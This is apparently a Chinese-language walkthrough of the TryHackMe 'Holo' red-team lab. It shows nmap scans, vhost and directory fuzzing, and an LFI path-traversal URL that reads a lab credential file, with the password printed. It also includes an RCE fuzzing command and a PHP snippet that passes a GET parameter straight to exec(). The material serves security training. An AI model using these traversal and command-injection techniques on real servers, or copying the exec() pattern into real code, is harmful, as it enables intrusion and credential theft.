Generation One

欢迎来到 Holo!

Holo 是一个 Active Directory 和 Web 应用程序攻击实验室,教授核心 Web 攻击媒介和高级\模糊的 Active Directory 攻击以及一般的红队方法和概念。

在本实验室中,您将学习和探索以下主题:

  • .NET 基础知识
  • Web 应用程序开发
  • AVevasion
  • 白名单和容器逃逸
  • 枢转
  • 使用 C2(命令和控制)框架进行操作
  • 后开发
  • 态势感知
  • Active Directory 攻击

您将学习和利用以下攻击和错误配置:

  • 错误配置的子域
  • 本地文件包含
  • 远程代码执行
  • Docker 容器
  • SUID 二进制文件
  • 密码重置
  • 客户端过滤器
  • AppLocker
  • 易受攻击的 DLL
  • Net-NTLMv2 /SMB

此网络模拟了对企业网络“Hololive”的外部渗透测试,其中包含一个预期的杀伤链。所有概念和漏洞都将以红队方法论和思维方式进行讲授,其他方法和技术将在整个网络中讲授。


这个网络将带您从零开始成为红队,但您需要对基本的 Windows 和 Linux 架构以及 Windows 和 Linux 的命令行有大致的了解。如果您需要帮助,请随时在 TryHackMe Discord 中提问;那里的帮助部分有一个为此目的设置的频道。

Kill Chain

[Overview and Background Section]

[Task 1] Generation 1 - An Overview of Holo

[Task 2] Patching Into the Matrix - Get Connected!

[Task 3] Kill Chain - Well, you’re already here

[Task 4] Flag Submission Panel - Submit your flags here

[Exploitation Guide]

[Task 8] and [Task 11] - Enumerating Files and Subdomains found on L-SRV01

[Task 11] and [Task 12] Exploiting RCE and LFI vulnerabilities found on L-SRV01

[Task 14] Enumerating a Docker container

[Task 15] Enumerating the Docker host from L-SRV02

[Task 16] through [Task 18] Gaining RCE on L-SRV01

[Task 19] L-SRV01 Privilege Escalation

[Task 22] Pivoting into the rest of the 10.200.x.0/24 network

[Task 27] Exploiting password reset tokens on S-SRV01

[Task 28] Bypassing file upload restrictions on S-SRV01

[Task 35] Dumping Credentials on S-SRV01

[Task 36] Passing the Hash to PC-FILESRV01

[Task 37] Bypassing AppLocker on PC-FILESRV01

[Task 42] and [Task 43] DLL Hijacking on PC-FILESRV01

[Task 46] Preform a Remote NTLM Relay attack on PC-FILESRV01 to DC-SRV01

[Task 47] Looting, submitting the final flags from S-SRV02, and Thank You’s.

[Learning Guide]

[Task 8] Punk Rock 101 err Web App 101 - Fuzzing for Files and Subdomains using GoBuster

[Task 9] What the Fuzz? - Fuzzing for Files and Subdomains using WFuzz

[Task 11] What is this? Vulnversity? - Web Exploitation Basics, LFI and RCE

[Task 15] Living of the LANd - Building your own Portable Port Scanner!

[Task 17] Making Thin Lizzy Proud - Docker Enumeration and RCE via MySQL

[Task 22] Digging a tunnel to nowhere - An overview of Pivoting with Chisel and SSHuttle

[Task 23] Command your Foes and Control your Friends - Installing and Setting up Covenant C2

[Task 27] Hide yo’ Kids, Hide yo’ Wives, Hide yo’ Tokens - Password Reset Tokens - Grindr Case Study

[Task 28] Thanks, I’ll let myself in - Exploiting Client Side scripts

[Task 28] Basically a joke itself… - AV Bypass

[Task 35] That’s not a cat, that’s a dawg - Gaining Persistece and Dumping Credentials with Mimikat ft. Covenant

[Task 36] Good Intentions, Courtesy of Microsoft Part: II - Hash spraying with CrackMapExec

[Task 37] Watson left her locker open - An Intro to AppLocker Bypass

[Task 42] and [Task 43] WE’RE TAKING OVER THIS DLL! - DLL Hijacking

[Task 44] Never Trust LanMan - Understanding how NetNTLM Sessions are established

[Task 45] No you see me, now you dont - Real World Case Study, How Spooks pwned a network in 5 minutes using Responder and NTLMRelayX

[Task 46] Why not just turn it off? - Showcasing a new AD Attack vector; Hijacking Windows’ SMB server

CLR - Commonly Lacking Radiation

使用 Windows 和其他操作系统实现的一个重要部分是了解 C# 及其底层技术 .NET。许多 Windows 应用程序和实用程序都是用 C# 构建的,因为它允许开发人员与 CLR 和 Win32 API 交互。我们将在下文中介绍 .NET 背后的基础架构及其在 Windows 中的用例。

.NET 使用称为公共语言运行时 (CLR) 的运行时环境。我们可以使用任何 .NET 语言(C#、PowerShell 等)编译成公共中间语言 (CIL)。NET 还直接与 Win32 和 API 调用交互,从而成为 Windows 应用程序开发和攻击工具开发的最佳解决方案。

来自微软,“.NET 提供了一个运行时环境,称为公共语言运行时,它运行代码并提供使开发过程更容易的服务。编译器和工具公开了公共语言运行时的功能,使您能够编写受益于此托管执行环境的代码。使用针对运行时的语言编译器开发的代码称为托管代码。托管代码受益于跨语言集成、跨语言异常处理、增强的安全性、版本控制和部署支持、简化的组件交互模型以及调试和分析服务等功能。”


.NET 由两个具有不同目的的不同分支组成,概述如下。

  • .NET Framework(仅限 Windows)
  • .NET Core(交叉兼容)

.NET 的主要组件是 .NET 程序集。.NET 程序集是任何 .NET 语言都可以执行的编译后的 .exe 和 .dll。

CLR 将把 CIL 编译成本机机器代码。您可以在下面找到 .NET 内的代码流程。

.NET 语言 → CIL/MSIL → CLR → 机器代码

您还可以决定在 .NET 中使用非托管代码;代码将直接从语言编译为机器代码,跳过 CLR。非托管代码的示例包括 Donut 和 UnmanagedPowerShell 等工具。以下是托管和非托管代码中数据流的可视化图。

img

在 .NET 中,还存在动态语言运行时 (DLR)。此概念超出了此网络的范围;但是,要了解更多信息,请查看此文章 https://docs.microsoft.com/en-us/dotnet/framework/reflection-and-codedom/dynamic-language-runtime-overview

现在我们对 .NET 以及它如何通过 .NET 语言与系统交互有了基本的了解,我们可以开始开发和构建攻击工具来帮助我们开展操作。

Rage Against the Compiler

C# 和构建攻击性工具的一个重要部分是了解如何在没有预构建版本的情况下编译您的工具和工具。要使用 C# 和构建工具,我们将再次使用 Visual Studio。需要注意的是,Visual Studio 并不是唯一的 C# 编译器,下面列出了其他几个编译器。

  • Roslyn
  • GCC
  • MinGW
  • LLVM
  • TCC
  • MSBuild

在此任务中,我们将使用 Visual Studio,因为它在使用 C# 进行开发时最容易理解和使用。Visual Studio 还允许我们在从解决方案文件构建时轻松管理包和 .NET 版本。

要在 Visual Studio 中构建和开发 C#,我们建议使用 Windows 开发虚拟机 https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/。

要开始使用 Visual Studio,您需要一个有效的 Microsoft/Outlook 帐户来登录并验证 Visual Studio。如果您还没有帐户,创建一个帐户的过程非常简单且免费。有关更多信息,请查看 Outlook 页面 https://outlook.live.com/owa/。

我们将从上一个任务中编写的代码创建和构建解决方案文件开始我们的编译之旅。

要为 .NET Core 创建解决方案文件,请导航至 *创建新项目 > 控制台应用程序 (.NET Core)*。如果要打开预先存在的解决方案文件/项目,请导航至 打开项目或解决方案

从这里,您可以配置项目的名称、位置和解决方案名称。请查看下面的配置菜单屏幕截图。

img

创建后,Visual Studio 将自动添加一个起始 C# hello world 文件并维护要构建的解决方案文件。文件结构的屏幕截图如下。

img

您会注意到,Visual Studio 将分解此文件树中的依赖项、类和方法,这在调试或分析代码时会很有帮助。

从这里,我们应该有一个可以运行的、自动生成的 C# hello world 文件,我们可以使用它来测试我们的构建过程。要构建解决方案文件,请导航到 Build > Build Solution 或按住 Ctrl+Shift+B。您也可以从应用程序本身而不是项目解决方案进行构建;但是,这超出了此网络的范围。运行后,控制台选项卡应打开或开始输出信息。从这里,您可以监视构建过程以及可能发生的任何错误。如果成功,它将输出 Build: 1 成功和编译文件的路径。在下面找到构建过程的屏幕截图。

img

现在您应该有一个成功编译的文件,您可以在具有相应 .NET 版本的其他系统上运行和使用该文件!

需要注意的是,在构建其他开发人员的工具时,它们通常会包含多个依赖项和包。确保您用于构建解决方案的机器可以访问互联网以检索所需的包。

NOT EVERY GEEK WITH A COMMODORE 64 CAN HACK INTO NASA!

在我们过于热衷于攻击网络服务器和入侵世界之前,我们需要确定我们的范围并进行一些初步侦察以识别资产。您的可信赖代理已通知您,参与范围是 10.200.x.0/24 和 192.168.100.0/24。要开始评估,您可以扫描提供的范围并识别任何面向公众的基础设施以获得立足点。

Nmap 是一种常用的端口扫描工具,它是行业标准,快速、可靠,并附带 NSE 脚本。 Nmap 还支持 CIDR 表示法,因此我们可以指定 /24 表示法来扫描 254 个主机。您可以与 Nmap 一起使用许多不同的参数和脚本;但是,我们将仅关注下面概述的几个。

  • sV 扫描服务和版本
  • sC 对开放端口运行脚本扫描。
  • -p- 扫描所有端口 0 - 65535
  • -v 提供详细输出

语法:nmap -sV -sC -p- -v 10.200.x.0/24

一旦您确定了网络上开放的机器和基本开放的端口,您就可以使用更积极的扫描(例如使用 -A 参数)再次单独检查设备。

先对这个网段进行主机探活,存在.33和.250两台主机

┌──(root㉿kali)-[~]
└─# nmap -sn 10.200.107.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-03 08:03 UTC
Nmap scan report for ip-10-200-107-33.eu-west-1.compute.internal (10.200.107.33)
Host is up (0.0015s latency).
Nmap scan report for ip-10-200-107-250.eu-west-1.compute.internal (10.200.107.250)
Host is up (0.00096s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.42 seconds

.33

┌──(root㉿kali)-[~]
└─# nmap -sn 10.200.107.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-03 08:03 UTC
Nmap scan report for ip-10-200-107-33.eu-west-1.compute.internal (10.200.107.33)
Host is up (0.0015s latency).
Nmap scan report for ip-10-200-107-250.eu-west-1.compute.internal (10.200.107.250)
Host is up (0.00096s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.42 seconds
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -sV -O -p22,80,33060 10.200.107.33
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-03 08:04 UTC
Nmap scan report for ip-10-200-107-33.eu-west-1.compute.internal (10.200.107.33)
Host is up (0.0044s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 40f2c558fea8ed43e087552331c6f246 (RSA)
| 256 15dbb8b270e3d055fe136a696e893f70 (ECDSA)
|_ 256 ee224cfa4d0688e4d4a3e855f9597e9a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 21 disallowed entries (15 shown)
| /var/www/wordpress/index.php
| /var/www/wordpress/readme.html /var/www/wordpress/wp-activate.php
| /var/www/wordpress/wp-blog-header.php /var/www/wordpress/wp-config.php
| /var/www/wordpress/wp-content /var/www/wordpress/wp-includes
| /var/www/wordpress/wp-load.php /var/www/wordpress/wp-mail.php
| /var/www/wordpress/wp-signup.php /var/www/wordpress/xmlrpc.php
| /var/www/wordpress/license.txt /var/www/wordpress/upgrade
|_/var/www/wordpress/wp-admin /var/www/wordpress/wp-comments-post.php
|_http-generator: WordPress 5.5.3
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: holo.live
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.93%I=7%D=8/3%Time=66ADE49F%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a
SF:\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000"
SF:)%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
SF:ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.70 seconds

.250

┌──(root㉿kali)-[~]
└─# nmap --min-rate=10000 -p- 10.200.107.250
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-03 08:06 UTC
Nmap scan report for ip-10-200-107-250.eu-west-1.compute.internal (10.200.107.250)
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste

Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -sV -O -p22,1337 10.200.107.250
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-03 08:07 UTC
Nmap scan report for ip-10-200-107-250.eu-west-1.compute.internal (10.200.107.250)
Host is up (0.0010s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a4ed890fd5c5f02f37df9ea124d41ad4 (RSA)
| 256 78eb8b29868ca2c46afd35410e57f970 (ECDSA)
|_ 256 4e48a33777b3dfec5ae7d634828901b9 (ED25519)
1337/tcp open http Node.js Express framework
|_http-title: Error
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.66 seconds

Punk Rock 101 err Web App 101

扫描网络范围后,您发现了一个面向公众的 Web 服务器。您开始使用键盘枚举 Web 应用程序的攻击面。您的目标是从初步侦察中发现的 L-SRV01。

重要提示:大量用户报告 L-SRV01 崩溃。这可能是由于多人同时运行 Gobuster 和 WFuzz。强烈建议您在尝试枚举 L-SRV01 上的文件/目录时减少线程数。

虚拟主机或 vhost 是一种在一台服务器上运行多个网站的方式。它们只需要一个额外的标头 Host,以告诉 Web 服务器流量发往哪个 vhost;当您只有一个 IP 地址但可以添加任意数量的 DNS 条目时,这特别有用。您经常会看到 Squarespace 或 WordPress 等托管服务这样做。

我们可以再次利用 Gobuster 来识别 Web 服务器上存在的潜在 vhost。语法与目录和文件的模糊测试相当;但是,这次我们将使用 vhosts 模式,而不是 dir-u 是唯一需要与上一个模糊测试命令进行细微调整的参数。-u 是 Gobuster 用于发现 vhost 的基本 URL,因此如果您提供 -uhttps://tryhackme.com“,GoBuster 将把主机设置为 “tryhackme.com“,并将主机标头设置为 Host: LINE1.tryhackme.com。如果您指定 “https://www.tryhackme.com“,GoBuster 将把主机设置为 “www.tryhackme.com“,并将主机标头设置为 Host: LINE1.www.tryhackme.com。在进行模糊测试时,请注意不要犯此错误。

语法:gobuster vhost -u <URL to fuzz> -w <wordlist>

我们建议使用 Seclists “subdomains-top1million-110000.txt” 单词表来模糊测试虚拟主机。

Wfuzz 还提供与其目录暴力破解功能类似的虚拟主机模糊测试功能。语法与 Gobuster 语法几乎相同;但是,您需要使用 FUZZ 参数指定主机标头,类似于目录暴力破解时选择参数。

语法:wfuzz -u <URL> -w <wordlist> -H "Host: FUZZ.example.com" --hc <status codes to hide>

现在我们有一些要从模糊测试中脱离的虚拟主机,我们需要一种方法来访问它们。如果您所处的环境中没有 DNS 服务器,则可以将目标主机的 IP 地址后跟 FQDN 添加到 Linux 上的 /etc/hosts 文件中,或者如果使用的是 Windows,则添加到 C:\Windows\System32\Drivers\etc\hosts 文件中。

房间让我们探测其他的虚拟主机,打开浏览器的network,发现www.holo.live的资源无法加载,于是在hosts中添加www.holo.live域名,再次访问 http://www.holo.live 之后,加载出了图片资源(害真是hololive),然后进行一个子域名的扫描

┌──(root㉿kali)-[~]
└─# wfuzz -u http://www.holo.live/ -H "Host: FUZZ.holo.live" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 1402
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://www.holo.live/
Total requests: 114441

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 200 155 L 1398 W 21405 Ch "www"
000000019: 200 271 L 701 W 7515 Ch "dev"
000000024: 200 75 L 158 W 1845 Ch "admin"

What the Fuzz?

现在我们对 Web 服务器的虚拟主机基础架构有了基本了解,我们可以通过暴力破解目录和文件来继续我们的资产发现。您的目标仍然是从初步侦察中发现的 L-SRV01。

HTTP 和 HTTPS(包括 DNS)是构成我们所知的 Web 实体的最广泛和最复杂的协议集。由于其复杂性,客户端和服务器端都引入了许多漏洞。

资产发现是发现目标 Web 服务器上的攻击面的最关键部分。您发现的任何网页都可能包含漏洞,因此您需要确保不会错过任何漏洞。由于网络是如此之大,我们从哪里开始?

我们理想情况下希望发现 Web 服务器上所有目标拥有的资产。这对目标来说更容易做到,因为他们可以在 Web 服务器的根目录中运行 dirls 并查看 Web 服务器的所有内容,但我们没有这种奢侈(通常,有一些像 WebDAV 这样的协议允许我们列出内容)。

最流行的方法是向远程 Web 服务器发送连接并检查 HTTP 状态代码以确定是否存在有效文件,如果文件存在则返回 200 OK,如果文件不存在则返回 404 File Not Found。这种技术被称为模糊测试或目录暴力破解。

有许多工具可用于帮助这种资产发现方法。以下是常用工具的简短列表。

  • Gobuster
  • WFuzz
  • dirsearch
  • dirbuster

我们将要研究的第一个文件发现工具是 Gobuster;来自 Gobuster Kali 页面,“Gobuster 是一个用于查找现有或隐藏的 Web 对象的扫描器。它的工作原理是针对 Web 服务器发起字典攻击并分析响应。”

Gobuster 有多种攻击技术选项;在这个房间中,我们将主要使用 dir 模式。Gobuster 将经常使用一些常用参数;这些参数可以在下面找到。

  • -u—url
  • -w—wordlist
  • -x—extensions
  • -k—insecureurl

语法:gobuster dir -u <URL to fuzz> -w <wordlist to use> -x <extensions to check>

我们建议使用 Seclists“big.txt”单词列表进行目录模糊化。

重要提示:大量用户报告 L-SRV01 崩溃。这可能是由于多人同时运行 Gobuster 和 WFuzz。强烈建议您在尝试对 L-SRV01 进行文件/目录枚举时减少线程数。

如果您发现模糊测试的速度比您希望的要慢,Gobuster 可以为您的攻击添加线程。线程的参数是 -t—threads Gobuster 接受 1 到 99999 之间的整数。默认情况下,Gobuster 使用 10 个线程。随着线程的增加,Gobuster 可能会变得更加不稳定,并导致误报或跳过单词表中的行。线程数将取决于您的硬件。我们建议将线程数保持在 30 到 40 个之间。

语法:gobuster -t <threads> dir -u <要模糊测试的 URL> -w <wordlist>

在现实世界中,您始终要留意向 Web 服务器发送的流量。您始终要确保为实际客户端提供足够的带宽,以便其连接到服务器而不会出现任何明显的延迟。如果您身处隐身至关重要的红队环境中,那么您绝不会希望拥有高线程数。

我们将要研究的第二个工具是 Wfuzz。从 Wfuzz GitHub 上看,“Wfuzz 是一种专为暴力破解 Web 应用程序而设计的工具,它可用于查找未链接的资源(目录、servlet、脚本等)、暴力破解 GET 和 POST 参数以检查不同类型的注入(SQL、XSS、LDAP 等)、暴力破解表单参数(用户/密码)、模糊测试等。”。如您所见,Wfuzz 是一款功能全面的工具;我们将只研究它所能做的一小部分。与 Gobuster 语法相比,它几乎完全相同;请参阅下面的语法参数。

  • -u—url
  • -w—wordlist

两者在语法上的关键区别在于,Wfuzz 要求在您想要替换模糊测试单词列表的 URL 中存在 FUZZ 参数。

语法:wfuzz -u example.com/FUZZ.php -w <wordlist>

WFuzz 还提供了一些带有特定参数的高级用法,我们不会在本房间内深入介绍,但需要注意。这些可以在下面找到。

  • —hc 隐藏状态代码
  • —hw 隐藏字数
  • —hl 隐藏行数
  • —hh 隐藏字符数

这些参数将有助于找到更易于访问的特定内容,例如,如果您正在对 SQLi 进行模糊测试。您知道如果输入了无效字符,将发生内部服务器错误。数据库查询将失败(这应该导致 HTTP 状态代码 500 [内部服务器错误]);您可以使用 SQLi 单词表并根据状态代码 200-404 进行过滤。

www的web目录上泄露了robots.txt,在里面能找到wordpress的一些常见目录

对dev进行一个目录扫描

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://dev.holo.live/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,txt,zip,bak,rar,sql
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.holo.live/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,zip,bak,rar,sql,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 7515]
/.php (Status: 403) [Size: 278]
/images (Status: 301) [Size: 315] [--> http://dev.holo.live/images/]
/about.php (Status: 200) [Size: 9612]
/img.php (Status: 200) [Size: 0]
/login (Status: 403) [Size: 278]
/login.php (Status: 403) [Size: 278]
/admin.php (Status: 403) [Size: 278]
/admin (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://dev.holo.live/css/]
/js (Status: 301) [Size: 311] [--> http://dev.holo.live/js/]
/javascript (Status: 301) [Size: 319] [--> http://dev.holo.live/javascript/]
/fonts (Status: 301) [Size: 314] [--> http://dev.holo.live/fonts/]

加载图片的是img.php

admin服务是一个后台管理员,在robots.txt中找到/var/www/admin/supersecretdir/creds.txt,存放的应该是管理员凭证

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://admin.holo.live/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,txt,zip,bak,rar,sql
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://admin.holo.live/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,zip,bak,rar,sql,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 280]
/index.php (Status: 200) [Size: 1845]
/docs (Status: 301) [Size: 317] [--> http://admin.holo.live/docs/]
/assets (Status: 301) [Size: 319] [--> http://admin.holo.live/assets/]
/examples (Status: 301) [Size: 321] [--> http://admin.holo.live/examples/]
/javascript (Status: 301) [Size: 323] [--> http://admin.holo.live/javascript/]
/robots.txt (Status: 200) [Size: 135]
/dashboard.php (Status: 302) [Size: 0] [--> index.php]
/.php (Status: 403) [Size: 280]

LEEROY JENKINS!

对于以下有关 Web 应用程序利用的部分,我们提供了一个测试服务器的开发实例,用于在转移到实际生产 Web 服务器之前练习攻击。

要设置测试环境,您需要安装 apache 2、PHP 和环境文件。请按照下面概述的步骤操作。

  1. apt install apache2 php
  2. edit configuration files to use port 8080
  3. systemctl start apache2
  4. wget https://github.com/Sq00ky/holo-bash-portscanner/raw/main/holo-playground.zip -O /var/www/holo.zip && unzip /var/www/holo.zip

What is this? Vulnversity?

现在您已经了解了 Web 服务器背后的文件结构和基础架构,可以开始攻击它了。根据在 Web 服务器上发现的技术错误和错误配置,我们可以假设开发人员经验不足。使用您已从资产发现中识别出的信息,有条不紊地进行攻击。

根据 OWASP 的说法,“本地文件包含(也称为 LFI)是通过利用应用程序中实施的易受攻击的包含程序来包含服务器上本地存在的文件的过程。” LFI 很容易识别,通常从下载文件或引用图像时常用的参数中找到。下面是测试环境中的一个例子。

示例:http://127.0.0.1/img.php?file=CatPics.jpg

要利用此漏洞,我们需要使用一种称为目录遍历的技术。 Portswigger 称,“目录遍历(也称为文件路径遍历)是一种网络安全漏洞,允许攻击者读取运行应用程序的服务器上的任意文件。”此漏洞的利用方法是依次使用 ../ 组合返回到 Web 服务器的根目录。从这里,您可以读取 Web 服务器有权访问的任何文件。测试 LFI 的 PoC 的常用方法是读取 /etc/passwd。下面是测试环境中的一个示例。

Example: http://127.0.0.1/img.php?file=../../../../../../../../etc/passwd

在上面的例子中,?file 参数是我们利用来获得 LFI 的参数。

这就是 LFI 的整个概念。在大多数情况下,LFI 用于链接到其他漏洞并提供进一步的访问权限,如 RCE;但是,LFI 也可以为您提供一些有用的见解,并根据访问级别的 Web 服务器枚举目标系统。使用 LFI 读取文件的一个例子是在模糊测试时找到一个有趣的文件;但是,您会收到 403 错误。您可以使用 LFI 读取文件并绕过错误代码。

根据上面下载下来的源码,lfi.php中存在文件包含,那么猜测之前的img.php存在文件包含,参数可以猜到是file,也可以自己fuzz一下,admin服务下的supersecretdir/creds.txt没有权限直接访问,于是利用这个文件包含漏洞进行访问

http://dev.holo.live/img.php?file=../admin/supersecretdir/creds.txt
I know you forget things, so I'm leaving this note for you:
admin:DBManagerLogin!
- gurag <3

Remote Control Empanadas

现在,您可以访问管理员子域,然后可以对远程代码执行进行模糊测试,并尝试识别可以利用该参数来获取对机器的任意访问权限的特定参数。

远程代码执行(也称为任意代码执行)允许您在远程系统上执行命令或代码。RCE 通常可以通过控制 Web 服务器使用的参数来利用这一点。

尝试识别 RCE 的一种方法是使用 Wfuzz 对易受攻击的参数进行模糊测试。类似于我们使用 Wfuzz 进行资产发现的方式。语法与以前的命令相同;但是,这次我们将在末尾用 ? 替换 FUZZ 命令,以便完整的 FUZZ 参数为 ?FUZZ=ls+-la 从测试环境中找到以下示例。

语法:wfuzz -u <http://example.com/?FUZZ=ls+-la> -w <wordlist> --hw 2

我们建议使用 Seclists“big.txt”对 RCE 参数进行模糊测试。

现在我们知道我们可以控制该参数,我们可以尝试在机器上获得 RCE。下面是测试环境中的一个示例。

使用的命令:curl -vvv http://localhost:8080/test.php?cmd=ls+-la && echo ""

我们不需要模糊测试我们找到的所有页面来识别 RCE,而是可以利用代码分析来查看页面上运行的代码,并推断代码是否可能存在漏洞。下面是一个示例,说明代码如何运行命令,以及攻击者如何控制参数。

<?php $id = $_GET["cmd"];if ($_GET["cmd"] == NULL){echo "Hello " . exec("whoami") . "!";} else {echo "Hello " . exec($id);}?>

